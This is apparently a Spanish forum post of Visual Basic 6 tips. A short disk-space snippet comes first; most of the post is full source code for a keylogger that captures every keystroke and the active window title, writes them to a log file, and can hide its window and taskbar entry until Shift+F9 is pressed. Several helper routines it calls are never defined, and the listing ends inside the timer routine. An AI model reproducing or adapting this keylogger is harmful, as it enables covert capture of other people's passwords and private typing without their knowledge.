Trucos para Visual Basic

[MaN!FesT]

Calcular el espacio total y espacio libre de una Unidad de disco

Crear un módulo:

Código:

Declare Function GetDiskFreeSpace Lib "kernel32" Alias "GetDiskFreeSpaceA"_
(ByVal lpRootPathName As String, lpSectorsPerCluster As Long, lpBytesPerSector_
As Long, lpNumberOfFreeClusters As Long, lpTtoalNumberOfClusters As Long) As Long

Crear 7 Labels:

Código:

Private Sub Form_Load()
    Dim I1 As Long
    Dim I2 As Long
    Dim I3 As Long
    Dim I4 As Long
    Dim Unidad As String
    Unidad = "C:/"
    GetDiskFreeSpace Unidad, I1, I2, I3, I4
    Label1.Caption = Unidad
    Label2.Caption = I1 & " Sectores por cluster"
    Label3.Caption = I2 & " Bytes por sector"
    Label4.Caption = I3 & " Número de clusters libres"
    Label5.Caption = I4 & " Número total de clusters"
    Label6.Caption = "Espacio total en disco: " & (I1 * I2 * I4)
    Label7.Caption = "Espacio libre en disco: " & (I1 * I2 * I3)
End Sub

[MaN!FesT]

Keylogger

Bueno esto no tiene que ver nada que ver con lo de los trucos pero igual les puede servir.

# 5 CommandButton: Command1 es para iniciar el grabado de teclas. El Command2 es para detenerlo. El command3 para ver el archivo (archivo txt o htm), el Command4 es para eliminarlo y el Command5 para ocultar el formulario (se restaura con Shift+F9)
# Un Timer1 con el Interval en 1
# 2 OptionButton - Option1 y Option2

Código:

Option Explicit
'Declaracines Api
'*****************************************************************
'Funciones api para las teclas
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
'Para capturar el Hwnd de la ventana activa
Private Declare Function GetForegroundWindow Lib "user32" () As Long


Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
'Api que obtiene el tamaño del Caption de la ventana
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long
'Api que obtiene el Caption de la ventana
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long


'Variable para almacenar las teclas que se van presionando
Dim StrLog As String
'Para el Apth del archivo log
Dim path As String

'Para ejecutar el archivo log desde el botón VerArchivo
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Const SW_SHOWNORMAL = 1

Private Const VK_CAPITAL = &H14

'Para el titulo de la ventana activa
Dim strVentanaActiva As String

'Ponemos en Play la grabación de teclas
Private Sub Command1_Click()
Command2.Enabled = True: Command1.Enabled = False
Timer1.Enabled = True
End Sub


'Pausamos la grabción
Private Sub Command2_Click()
Timer1.Enabled = False
Command2.Enabled = False: Command1.Enabled = True
grabarArchivo
End Sub


'Botón para abrir el archivo Log
Private Sub Command3_Click()
Dim Ruta As String
If Option2 Then: generarHTML: Ruta = App.path + "\archivolog.html"
If Option1 Then Ruta = App.path + "\archivolog.txt"
'Abrimos el Html Log
ShellExecute Me.hWnd, vbNullString, Ruta, vbNullString, vbNullString, SW_SHOWNORMAL

End Sub

'Botón para eliminar el Log
Private Sub Command4_Click()
Dim Ruta As String, men As String

If MsgBox("Deseas eliminar el archivoLog?", vbYesNo + vbQuestion, "Elinar archivo") = vbYes Then
Kill App.path + "\archivolog.txt"
End If
End Sub

Private Sub Command5_Click()

App.TaskVisible = False

Me.Visible = False

End Sub

Private Sub Form_Load()
'Ruta del Log
path$ = App.path & "\ArchivoLog.txt"


Open path For Append As #1
Print #1, vbCrLf
Print #1, "*****************************************************************"
Print #1, "[[Inicio del Log]]" & "->Fecha: " & Date & " ->Hora: " & Now
Print #1, "*****************************************************************"
Print #1, vbCrLf
Close

Option1.Caption = "Formato TXT del archivo Log"
Option2.Caption = "Formato Html del archivo Log"

Command1.Caption = "Comenzar"
Command2.Caption = "Pausar"
Command3.Caption = "Ver Log"
Command4.Caption = "Eliminar Log"
Command5.Caption = "Ocultar-Shift+f9 para restaurar"
Option1.Value = True
Command1.Enabled = False
End Sub

Private Sub Form_Unload(Cancel As Integer)
Open path For Append As #1
Print #1, StrLog & vbCrLf
Print #1, "*****************************************************************"
Print #1, "[[Fin del Log]]" & "->Fecha: " & Date & " ->Hora: " & Now
Print #1, "*****************************************************************"
Print #1, vbCrLf
Close
End Sub


Private Sub Timer1_Timer()

Dim EstadoTecla As Long
Dim Shift As Long

'Si cambió el título de la ventana activa
If strVentanaActiva <> ObtenerCaption(GetForegroundWindow) Then

'Llamamos a la función ObtenerCaption y almacenamos en strVentanaActiva el nuevo titulo
strVentanaActiva = ObtenerCaption(GetForegroundWindow)

StrLog$ = StrLog$ & vbCrLf & vbCrLf & time & "->> Ventana: " & strVentanaActiva & vbCrLf & vbCrLf

End If


Shift = GetAsyncKeyState(vbKeyShift)

EstadoTecla = GetAsyncKeyState(vbKeyA)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "A"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "a"
End If

EstadoTecla = GetAsyncKeyState(vbKeyB)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "B"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "b"
End If

EstadoTecla = GetAsyncKeyState(vbKeyC)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "C"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "c"
End If

EstadoTecla = GetAsyncKeyState(vbKeyD)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "D"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "d"
End If

EstadoTecla = GetAsyncKeyState(vbKeyE)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "E"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "e"
End If

EstadoTecla = GetAsyncKeyState(vbKeyF)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "F"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "f"
End If

EstadoTecla = GetAsyncKeyState(vbKeyG)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "G"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "g"
End If

EstadoTecla = GetAsyncKeyState(vbKeyH)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "H"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "h"
End If

EstadoTecla = GetAsyncKeyState(vbKeyI)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "I"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "i"
End If

EstadoTecla = GetAsyncKeyState(vbKeyJ)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "J"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "j"
End If

EstadoTecla = GetAsyncKeyState(vbKeyK)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "K"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "k"
End If

EstadoTecla = GetAsyncKeyState(vbKeyL)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "L"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "l"
End If


EstadoTecla = GetAsyncKeyState(vbKeyM)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "M"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "m"
End If


EstadoTecla = GetAsyncKeyState(vbKeyN)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "N"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "n"
End If

EstadoTecla = GetAsyncKeyState(vbKeyO)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "O"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "o"
End If

EstadoTecla = GetAsyncKeyState(vbKeyP)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "P"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "p"
End If

EstadoTecla = GetAsyncKeyState(vbKeyQ)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "Q"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "q"
End If

EstadoTecla = GetAsyncKeyState(vbKeyR)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "R"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "r"
End If

EstadoTecla = GetAsyncKeyState(vbKeyS)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "S"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "s"
End If

EstadoTecla = GetAsyncKeyState(vbKeyT)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "T"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "t"
End If

EstadoTecla = GetAsyncKeyState(vbKeyU)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "U"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "u"
End If

EstadoTecla = GetAsyncKeyState(vbKeyV)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "V"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "v"
End If

EstadoTecla = GetAsyncKeyState(vbKeyW)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "W"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "w"
End If

EstadoTecla = GetAsyncKeyState(vbKeyX)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "X"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "x"
End If

EstadoTecla = GetAsyncKeyState(vbKeyY)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "Y"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "y"
End If

EstadoTecla = GetAsyncKeyState(vbKeyZ)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "Z"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "z"
End If

EstadoTecla = GetAsyncKeyState(vbKey1)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "1"
End If

If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "!"
End If


EstadoTecla = GetAsyncKeyState(vbKey2)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "2"
End If

If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "@"
End If


EstadoTecla = GetAsyncKeyState(vbKey3)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "3"
End If

If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "#"
End If


EstadoTecla = GetAsyncKeyState(vbKey4)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "4"
End If

If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "$"
End If


EstadoTecla = GetAsyncKeyState(vbKey5)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "5"
End If

If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "%"
End If


EstadoTecla = GetAsyncKeyState(vbKey6)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "6"
End If

If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "^"
End If


EstadoTecla = GetAsyncKeyState(vbKey7)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "7"
End If

If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "&"
End If


EstadoTecla = GetAsyncKeyState(vbKey8)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "8"
End If

If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "*"
End If


EstadoTecla = GetAsyncKeyState(vbKey9)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "9"
End If

If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "("
End If


EstadoTecla = GetAsyncKeyState(vbKey0)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "0"
End If

If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + ")"
End If


EstadoTecla = GetAsyncKeyState(vbKeyBack)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{bkspc}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyTab)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{tab}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyReturn)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + vbCrLf
End If

EstadoTecla = GetAsyncKeyState(vbKeyShift)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{shift}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyControl)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{ctrl}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyMenu)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{alt}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyPause)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{pause}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyEscape)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{esc}"
End If

EstadoTecla = GetAsyncKeyState(vbKeySpace)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + " "
End If

EstadoTecla = GetAsyncKeyState(vbKeyEnd)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{end}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyHome)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{home}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyLeft)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{left}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyRight)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{right}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyUp)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{up}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyDown)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{down}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyInsert)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{insert}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyDelete)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{Delete}"
End If

EstadoTecla = GetAsyncKeyState(&HBA)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + ";"
End If

If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + ":"

End If

EstadoTecla = GetAsyncKeyState(&HBB)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "="
End If

If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "+"
End If

EstadoTecla = GetAsyncKeyState(&HBC)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + ","
End If

If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "<"
End If

EstadoTecla = GetAsyncKeyState(&HBD)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "-"
End If

If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "_"
End If

EstadoTecla = GetAsyncKeyState(&HBE)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "."
End If

If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + ">"
End If

EstadoTecla = GetAsyncKeyState(&HBF)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "/"
End If

If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "?"
End If

EstadoTecla = GetAsyncKeyState(&HC0)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "`"
End If

If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "~"
End If

EstadoTecla = GetAsyncKeyState(&HDB)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "["
End If

If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{"
End If

EstadoTecla = GetAsyncKeyState(&HDC)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "\"
End If

If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "|"
End If

EstadoTecla = GetAsyncKeyState(&HDD)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "]"
End If

If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "}"
End If

EstadoTecla = GetAsyncKeyState(&HDE)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "'"
End If

If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + Chr$(34)
End If

EstadoTecla = GetAsyncKeyState(vbKeyMultiply)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "*"
End If

EstadoTecla = GetAsyncKeyState(vbKeyDivide)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "/"
End If

EstadoTecla = GetAsyncKeyState(vbKeyAdd)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "+"
End If

EstadoTecla = GetAsyncKeyState(vbKeySubtract)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "-"
End If

EstadoTecla = GetAsyncKeyState(vbKeyDecimal)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{Del}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyF1)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F1}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyF2)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F2}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyF3)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F3}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyF4)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F4}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyF5)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F5}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyF6)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F6}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyF7)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F7}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyF8)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F8}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyF9)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F9}"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
Form1.Visible = True
End If

EstadoTecla = GetAsyncKeyState(vbKeyF10)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F10}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyF11)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F11}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyF12)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F12}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyNumlock)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{NumLock}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyScrollLock)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{ScrollLock}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyPrint)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{PrintScreen}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyPageUp)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{PageUp}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyPageDown)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{Pagedown}"
End If

EstadoTecla = GetAsyncKeyState(vbKeyNumpad1)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "1"
End If

EstadoTecla = GetAsyncKeyState(vbKeyNumpad2)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "2"
End If

EstadoTecla = GetAsyncKeyState(vbKeyNumpad3)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "3"
End If

EstadoTecla = GetAsyncKeyState(vbKeyNumpad4)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "4"
End If

EstadoTecla = GetAsyncKeyState(vbKeyNumpad5)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "5"
End If

EstadoTecla = GetAsyncKeyState(vbKeyNumpad6)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "6"
End If

EstadoTecla = GetAsyncKeyState(vbKeyNumpad7)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "7"
End If

EstadoTecla = GetAsyncKeyState(vbKeyNumpad8)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "8"
End If

EstadoTecla = GetAsyncKeyState(vbKeyNumpad9)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "9"
End If

